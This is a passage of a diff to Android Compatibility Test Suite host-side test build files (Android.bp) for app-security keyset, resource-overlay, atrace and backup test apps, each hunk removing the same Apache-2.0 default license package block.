android_test_helper_app {
name: "CtsWriteExternalStorageApp2",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/keysets/malBadKey/Android.bp b/hostsidetests/appsecurity/test-apps/keysets/malBadKey/Android.bp
index d69562c..a7d7ee8 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/malBadKey/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/keysets/malBadKey/Android.bp
@@ -13,10 +13,6 @@
// limitations under the License.
//apks signed cts-keyset-test-a
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsKeySetSigningABadUpgradeB",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/keysets/malNoDef/Android.bp b/hostsidetests/appsecurity/test-apps/keysets/malNoDef/Android.bp
index a0d46f3..9763629 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/malNoDef/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/keysets/malNoDef/Android.bp
@@ -13,10 +13,6 @@
// limitations under the License.
//apks signed cts-keyset-test-a
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsKeySetSigningANoDefUpgradeB",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/keysets/malOneDef/Android.bp b/hostsidetests/appsecurity/test-apps/keysets/malOneDef/Android.bp
index 50192fb..f52826a 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/malOneDef/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/keysets/malOneDef/Android.bp
@@ -13,10 +13,6 @@
// limitations under the License.
//apks signed cts-keyset-test-a
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsKeySetSigningCBadAUpgradeAB",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/keysets/permDef/Android.bp b/hostsidetests/appsecurity/test-apps/keysets/permDef/Android.bp
index 841bef2..8b29b2b 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/permDef/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/keysets/permDef/Android.bp
@@ -13,10 +13,6 @@
// limitations under the License.
//apks signed cts-keyset-test-a
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsKeySetPermDefSigningA",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/keysets/permUse/Android.bp b/hostsidetests/appsecurity/test-apps/keysets/permUse/Android.bp
index dbb58eb..3e17886 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/permUse/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/keysets/permUse/Android.bp
@@ -13,10 +13,6 @@
// limitations under the License.
//apks signed cts-keyset-test-a
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsKeySetPermUseSigningA",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/keysets/testApp/Android.bp b/hostsidetests/appsecurity/test-apps/keysets/testApp/Android.bp
index 0788393..5a58116 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/testApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/keysets/testApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsKeySetTestApp",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uA/Android.bp b/hostsidetests/appsecurity/test-apps/keysets/uA/Android.bp
index cabba2b..769ad16 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uA/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/keysets/uA/Android.bp
@@ -13,10 +13,6 @@
// limitations under the License.
//apks signed by cts-keyset-test-a
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsKeySetSigningAUpgradeA",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uAB/Android.bp b/hostsidetests/appsecurity/test-apps/keysets/uAB/Android.bp
index 8461773..1c82153 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uAB/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/keysets/uAB/Android.bp
@@ -13,10 +13,6 @@
// limitations under the License.
//apks signed cts-keyset-test-a
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsKeySetSigningAUpgradeAAndB",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uAuB/Android.bp b/hostsidetests/appsecurity/test-apps/keysets/uAuB/Android.bp
index f233cf5..ed35679 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uAuB/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/keysets/uAuB/Android.bp
@@ -13,10 +13,6 @@
// limitations under the License.
//apks signed cts-keyset-test-a
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsKeySetSigningAUpgradeAOrB",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uB/Android.bp b/hostsidetests/appsecurity/test-apps/keysets/uB/Android.bp
index a5d423c..a075bf7 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uB/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/keysets/uB/Android.bp
@@ -13,10 +13,6 @@
// limitations under the License.
//apks signed cts-keyset-test-a
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsKeySetSigningAUpgradeB",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uBsharedUser/Android.bp b/hostsidetests/appsecurity/test-apps/keysets/uBsharedUser/Android.bp
index 1a9f810..786b47d 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uBsharedUser/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/keysets/uBsharedUser/Android.bp
@@ -13,10 +13,6 @@
// limitations under the License.
//apks signed cts-keyset-test-a
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsKeySetSharedUserSigningAUpgradeB",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uEcA/Android.bp b/hostsidetests/appsecurity/test-apps/keysets/uEcA/Android.bp
index c91a30d..b2ea20e 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uEcA/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/keysets/uEcA/Android.bp
@@ -13,10 +13,6 @@
// limitations under the License.
//apks signed by cts-keyset-test-a
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsKeySetSigningAUpgradeEcA",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uNone/Android.bp b/hostsidetests/appsecurity/test-apps/keysets/uNone/Android.bp
index 2c8c2f4..1919495 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uNone/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/keysets/uNone/Android.bp
@@ -13,10 +13,6 @@
// limitations under the License.
//apks signed cts-keyset-test-a
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsKeySetSigningAUpgradeNone",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/rro/OverlayAll/Android.bp b/hostsidetests/appsecurity/test-apps/rro/OverlayAll/Android.bp
index 79f9796..b35ffb5 100644
--- a/hostsidetests/appsecurity/test-apps/rro/OverlayAll/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/rro/OverlayAll/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsOverlayPolicyAll",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/rro/OverlayAndroid/Android.bp b/hostsidetests/appsecurity/test-apps/rro/OverlayAndroid/Android.bp
index 65b17d9..35d54ea 100644
--- a/hostsidetests/appsecurity/test-apps/rro/OverlayAndroid/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/rro/OverlayAndroid/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsOverlayAndroid",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/rro/OverlayApp/Android.bp b/hostsidetests/appsecurity/test-apps/rro/OverlayApp/Android.bp
index 515ee5b..01d4937 100644
--- a/hostsidetests/appsecurity/test-apps/rro/OverlayApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/rro/OverlayApp/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsOverlayApp",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/rro/OverlayPolicyProduct/Android.bp b/hostsidetests/appsecurity/test-apps/rro/OverlayPolicyProduct/Android.bp
index dbc33d8..8674627 100644
--- a/hostsidetests/appsecurity/test-apps/rro/OverlayPolicyProduct/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/rro/OverlayPolicyProduct/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsOverlayPolicyProduct",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/rro/OverlayPolicySignatureDifferent/Android.bp b/hostsidetests/appsecurity/test-apps/rro/OverlayPolicySignatureDifferent/Android.bp
index 8db00a3..dbcb1fe 100644
--- a/hostsidetests/appsecurity/test-apps/rro/OverlayPolicySignatureDifferent/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/rro/OverlayPolicySignatureDifferent/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsOverlayPolicySignatureDifferent",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/rro/OverlayPolicySystem/Android.bp b/hostsidetests/appsecurity/test-apps/rro/OverlayPolicySystem/Android.bp
index 865bb71..28f6aae 100644
--- a/hostsidetests/appsecurity/test-apps/rro/OverlayPolicySystem/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/rro/OverlayPolicySystem/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsOverlayPolicySystem",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/rro/OverlayPolicyVendor/Android.bp b/hostsidetests/appsecurity/test-apps/rro/OverlayPolicyVendor/Android.bp
index 284b3c4..983821c 100644
--- a/hostsidetests/appsecurity/test-apps/rro/OverlayPolicyVendor/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/rro/OverlayPolicyVendor/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsOverlayPolicyVendor",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/rro/OverlayTarget/Android.bp b/hostsidetests/appsecurity/test-apps/rro/OverlayTarget/Android.bp
index fbc77e1..e02bcd3 100644
--- a/hostsidetests/appsecurity/test-apps/rro/OverlayTarget/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/rro/OverlayTarget/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsOverlayTarget",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/stubime/Android.bp b/hostsidetests/appsecurity/test-apps/stubime/Android.bp
index 62be701..0038c05 100644
--- a/hostsidetests/appsecurity/test-apps/stubime/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/stubime/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsStubIme",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/atrace/Android.bp b/hostsidetests/atrace/Android.bp
index 77df10b..380e55b 100644
--- a/hostsidetests/atrace/Android.bp
+++ b/hostsidetests/atrace/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsAtraceHostTestCases",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/atrace/AtraceTestApp/Android.bp b/hostsidetests/atrace/AtraceTestApp/Android.bp
index b482764..88ef404 100644
--- a/hostsidetests/atrace/AtraceTestApp/Android.bp
+++ b/hostsidetests/atrace/AtraceTestApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsAtraceTestApp",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/atrace/AtraceTestApp/jni/Android.bp b/hostsidetests/atrace/AtraceTestApp/jni/Android.bp
index 5343a93..70b47a7 100644
--- a/hostsidetests/atrace/AtraceTestApp/jni/Android.bp
+++ b/hostsidetests/atrace/AtraceTestApp/jni/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test_library {
name: "libctstrace_jni",
gtest: false,
diff --git a/hostsidetests/backup/AllowBackup/Android.bp b/hostsidetests/backup/AllowBackup/Android.bp
index 7b13227..39ce56f 100644
--- a/hostsidetests/backup/AllowBackup/Android.bp
+++ b/hostsidetests/backup/AllowBackup/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library {
name: "CtsAllowBackupLib",
srcs: ["src/**/*.java"],
diff --git a/hostsidetests/backup/AllowBackup/BackupAllowedApp/Android.bp b/hostsidetests/backup/AllowBackup/BackupAllowedApp/Android.bp
index d6f3479..9d6254c 100644
--- a/hostsidetests/backup/AllowBackup/BackupAllowedApp/Android.bp
+++ b/hostsidetests/backup/AllowBackup/BackupAllowedApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "BackupAllowedApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/Android.bp b/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/Android.bp
index 68adaef..100718d 100644
--- a/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/Android.bp
+++ b/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "BackupNotAllowedApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/Android.bp b/hostsidetests/backup/Android.bp
index 15d9880..594ebf9 100644
--- a/hostsidetests/backup/Android.bp
+++ b/hostsidetests/backup/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsBackupHostTestCases",
srcs: ["src/**/*.java"],
diff --git a/hostsidetests/backup/AutoRestoreApp/Android.bp b/hostsidetests/backup/AutoRestoreApp/Android.bp
index 58b58dd..0d769d5 100644
--- a/hostsidetests/backup/AutoRestoreApp/Android.bp
+++ b/hostsidetests/backup/AutoRestoreApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsAutoRestoreApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/BackupTransportApp/Android.bp b/hostsidetests/backup/BackupTransportApp/Android.bp
index 7b07cbe..1a80869 100644
--- a/hostsidetests/backup/BackupTransportApp/Android.bp
+++ b/hostsidetests/backup/BackupTransportApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsBackupTransportApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/FullBackupOnly/Android.bp b/hostsidetests/backup/FullBackupOnly/Android.bp
index 60c1cf6..acac2e1 100644
--- a/hostsidetests/backup/FullBackupOnly/Android.bp
+++ b/hostsidetests/backup/FullBackupOnly/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library {
name: "CtsFullBackupOnlyLib",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseNoAgentApp/Android.bp b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseNoAgentApp/Android.bp
index a6b26b9..e6835f3 100644
--- a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseNoAgentApp/Android.bp
+++ b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseNoAgentApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "FullBackupOnlyFalseNoAgentApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseWithAgentApp/Android.bp b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseWithAgentApp/Android.bp
index d3b5c02..ba34842 100644
--- a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseWithAgentApp/Android.bp
+++ b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseWithAgentApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "FullBackupOnlyFalseWithAgentApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyTrueWithAgentApp/Android.bp b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyTrueWithAgentApp/Android.bp
index ef1941f..f959d73 100644
--- a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyTrueWithAgentApp/Android.bp
+++ b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyTrueWithAgentApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "FullBackupOnlyTrueWithAgentApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/KeyValueApp/Android.bp b/hostsidetests/backup/KeyValueApp/Android.bp
index 60dbb65..7b7cea2 100644
--- a/hostsidetests/backup/KeyValueApp/Android.bp
+++ b/hostsidetests/backup/KeyValueApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsKeyValueBackupRestoreApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/OtherSoundsSettingsApp/Android.bp b/hostsidetests/backup/OtherSoundsSettingsApp/Android.bp
index b048dd4..12b9a4a 100644
--- a/hostsidetests/backup/OtherSoundsSettingsApp/Android.bp
+++ b/hostsidetests/backup/OtherSoundsSettingsApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsBackupOtherSoundsSettingsApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/PreservedSettingsApp/Android.bp b/hostsidetests/backup/PreservedSettingsApp/Android.bp
index 71859a9..404abc4 100644
--- a/hostsidetests/backup/PreservedSettingsApp/Android.bp
+++ b/hostsidetests/backup/PreservedSettingsApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsPreservedSettingsApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/ProfileFullBackupApp/Android.bp b/hostsidetests/backup/ProfileFullBackupApp/Android.bp
index 1c614e2..1cb5a3d 100644
--- a/hostsidetests/backup/ProfileFullBackupApp/Android.bp
+++ b/hostsidetests/backup/ProfileFullBackupApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsProfileFullBackupApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/ProfileKeyValueApp/Android.bp b/hostsidetests/backup/ProfileKeyValueApp/Android.bp
index 37b676f..154ba22 100644
--- a/hostsidetests/backup/ProfileKeyValueApp/Android.bp
+++ b/hostsidetests/backup/ProfileKeyValueApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsProfileKeyValueApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/ProfileSerialNumberApp/Android.bp b/hostsidetests/backup/ProfileSerialNumberApp/Android.bp
index 7254eac..fc322da 100644
--- a/hostsidetests/backup/ProfileSerialNumberApp/Android.bp
+++ b/hostsidetests/backup/ProfileSerialNumberApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsProfileSerialNumberApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/RestoreAnyVersion/Android.bp b/hostsidetests/backup/RestoreAnyVersion/Android.bp
index e4b71ef..7ce7333 100644
--- a/hostsidetests/backup/RestoreAnyVersion/Android.bp
+++ b/hostsidetests/backup/RestoreAnyVersion/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library {
name: "CtsRestoreAnyVersionLib",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/RestoreAnyVersion/NewVersionApp/Android.bp b/hostsidetests/backup/RestoreAnyVersion/NewVersionApp/Android.bp
index 19d52e5..f3c36d0 100644
--- a/hostsidetests/backup/RestoreAnyVersion/NewVersionApp/Android.bp
+++ b/hostsidetests/backup/RestoreAnyVersion/NewVersionApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsBackupRestoreAnyVersionAppUpdate",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/RestoreAnyVersion/NoRestoreAnyVersionApp/Android.bp b/hostsidetests/backup/RestoreAnyVersion/NoRestoreAnyVersionApp/Android.bp
index dc16faf..8d88636 100644
--- a/hostsidetests/backup/RestoreAnyVersion/NoRestoreAnyVersionApp/Android.bp
+++ b/hostsidetests/backup/RestoreAnyVersion/NoRestoreAnyVersionApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsBackupRestoreAnyVersionNoRestoreApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/RestoreAnyVersion/RestoreAnyVersionApp/Android.bp b/hostsidetests/backup/RestoreAnyVersion/RestoreAnyVersionApp/Android.bp
index a21b675..17582e0 100644
--- a/hostsidetests/backup/RestoreAnyVersion/RestoreAnyVersionApp/Android.bp
+++ b/hostsidetests/backup/RestoreAnyVersion/RestoreAnyVersionApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsBackupRestoreAnyVersionApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/RestoreSessionTest/Android.bp b/hostsidetests/backup/RestoreSessionTest/Android.bp
index 206db8a..fb474be 100644
--- a/hostsidetests/backup/RestoreSessionTest/Android.bp
+++ b/hostsidetests/backup/RestoreSessionTest/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsRestoreSessionApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/SharedPreferencesRestoreApp/Android.bp b/hostsidetests/backup/SharedPreferencesRestoreApp/Android.bp
index 643d656..0034db5 100644
--- a/hostsidetests/backup/SharedPreferencesRestoreApp/Android.bp
+++ b/hostsidetests/backup/SharedPreferencesRestoreApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsSharedPreferencesRestoreApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/SuccessNotificationApp/Android.bp b/hostsidetests/backup/SuccessNotificationApp/Android.bp
index 5ed1a7c..d1f75f0 100644
--- a/hostsidetests/backup/SuccessNotificationApp/Android.bp
+++ b/hostsidetests/backup/SuccessNotificationApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsBackupSuccessNotificationApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/SyncAdapterSettingsApp/Android.bp b/hostsidetests/backup/SyncAdapterSettingsApp/Android.bp
index b3d213d..6a3139f 100644
--- a/hostsidetests/backup/SyncAdapterSettingsApp/Android.bp
+++ b/hostsidetests/backup/SyncAdapterSettingsApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsBackupSyncAdapterSettingsApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/fullbackupapp/Android.bp b/hostsidetests/backup/fullbackupapp/Android.bp
index a7d81d6..edc288c 100644
--- a/hostsidetests/backup/fullbackupapp/Android.bp
+++ b/hostsidetests/backup/fullbackupapp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsHostsideTestsFullBackupApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/includeexcludeapp/Android.bp b/hostsidetests/backup/includeexcludeapp/Android.bp
index 1a8c1ac..0b37374 100644
--- a/hostsidetests/backup/includeexcludeapp/Android.bp
+++ b/hostsidetests/backup/includeexcludeapp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsIncludeExcludeApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/restoresessionapp1/Android.bp b/hostsidetests/backup/restoresessionapp1/Android.bp
index e2071f3..3f27294 100644
--- a/hostsidetests/backup/restoresessionapp1/Android.bp
+++ b/hostsidetests/backup/restoresessionapp1/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsRestoreSessionApp1",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/restoresessionapp2/Android.bp b/hostsidetests/backup/restoresessionapp2/Android.bp
index eb82929..cb3e987 100644
--- a/hostsidetests/backup/restoresessionapp2/Android.bp
+++ b/hostsidetests/backup/restoresessionapp2/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsRestoreSessionApp2",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/restoresessionapp3/Android.bp b/hostsidetests/backup/restoresessionapp3/Android.bp
index 16a5aff..6c9494e 100644
--- a/hostsidetests/backup/restoresessionapp3/Android.bp
+++ b/hostsidetests/backup/restoresessionapp3/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsRestoreSessionApp3",
defaults: ["cts_defaults"],
